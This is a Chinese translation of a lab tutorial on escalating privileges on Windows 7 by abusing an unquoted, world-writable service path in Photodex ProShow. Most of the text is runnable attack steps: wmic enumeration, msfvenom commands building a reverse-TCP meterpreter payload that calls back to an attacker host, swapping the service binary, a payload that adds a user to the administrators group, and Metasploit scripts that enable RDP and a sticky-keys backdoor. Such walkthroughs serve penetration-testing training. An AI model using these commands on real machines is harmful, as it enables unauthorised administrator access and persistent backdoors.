本文翻译自:http://www.hackingarticles.in/windows-privilege-escalation-unquoted-path-service/
作者:AArti Singh
本文描述如何利用不带引号的服务路径(Unquoted service Path)来进行Windows权限提升。
该漏洞是与可执行文件的路径相关的,路径的文件名和文件名逐渐没有使用引号标签(“”)。如果有写权限,攻击者就可以用恶意exe文件替换原来的可执行文件,所以需要进行去管理权限提升。
环境搭建
受害者机器:Windows 7
攻击者机器:Kali Linux
首先下载和安装有漏洞的应用——photodex proshow,下载地址https://www.exploit-db.com/exploits/24872/ 。
攻击者需要黑入Windows机器来获取meterpreter session。获取meterpreter session后,打开命令shell。
shell
目前有了local_user的shell访问权限,为了获取cmd的管理员权限,需要进行权限提升。首先,枚举运行在受害者设备上运行的所有服务,通过下面的命令在引号标签中的限制:
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
所以研究人员枚举出路径 C:\Program Files\Photodex\ProShow Producer\Scsiaccess.exe
,可以看出在文件名和路径中没有引号标签。
可以用下面的命令可以查看文件夹的权限:
icacls Scsiaccess.exe
可以看出对每个人都有写权限,也就是说用户raj可以覆写所有文件。
可以将恶意文件放在与原始文件相同的文件夹中,可以授予管理权限,当服务重启后Windows就会加载恶意文件。
打开kali linux系统终端,输入下面的命令用msfvenom来生成exe payload:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 prependmigrate=true prepenmigrateprocess=explorer.exe -f exe > /root/Desktop/scsiaccess.exe
上面的命令会在桌面上创建一个恶意exe文件,然后发送给受害者。如果当前进程被杀,payload就会移动其进程;如果受害者从系统中杀掉payload的当前进程id,攻击者就不会失去它的session。
用恶意exe替换原exe文件,然后将原来的Scsiaccess.exe命名为Scsiaccess.exe.orginal,上传恶意Scsiaccess.exe文件到相同文件夹中,然后重启受害者机器。
move scsiaccess.exe scsiaccess.exe.orginal
upload /root/Desktop/ scsiaccess.exe
reboot
同时启动multi/handler listener,来抓取管理权限的meterpreter session。
use exploit/multi/handler
msf exploit(multi/handler) set payload windows /meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.107
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) exploit
然后就获得了shell的管理权限。
在以local_user登陆shell后,无论有没有管理权限都可以枚举username列表。然后研究任意发现user:raaz
不是管理组成员。
net user
net user raaz
然后研究人员生成一个可以把user:raaz
加入管理组的exe。Exe文件名会与原exe文件相同,比如Scsiaccess.exe。
msfvenom -p windows/exec CMD='net localgroup administrators raaz /add' -f exe > /root/Desktop/scsiaccess.exe
然后重复上面的步骤,用恶意exe文件替换原来的exe文件,然后重启机器。
然后用户raaz是管理组成员了。
用msfvenom和Scsiaccess.exe名生成exe,然后转移到受害者机器上,同时用自动运行脚本同时运行多个句柄,自动运行脚本在服务重启后可以开启RDP服务。
use exploit/multi/handler
msf exploit(multi/handler) set payload windows /meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.107
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) set AutoRunScript post/windows/manage/enable_rdp
msf exploit(multi/handler) exploit
在服务重启后,同样也需要设定自动运行脚本来开启sticky_keys。
msf exploit(multi/handler) set AutoRunScript post/windows/manage/sticky_keys
msf exploit(multi/handler) run
从下图可以看出,另一个有管理权限的meterpreter session也开启了。通过RDP连接到受害者收集。
rdp 192.168.1.101
连续按5次shift键,就可以获取Command Prompt命令行环境的管理权限。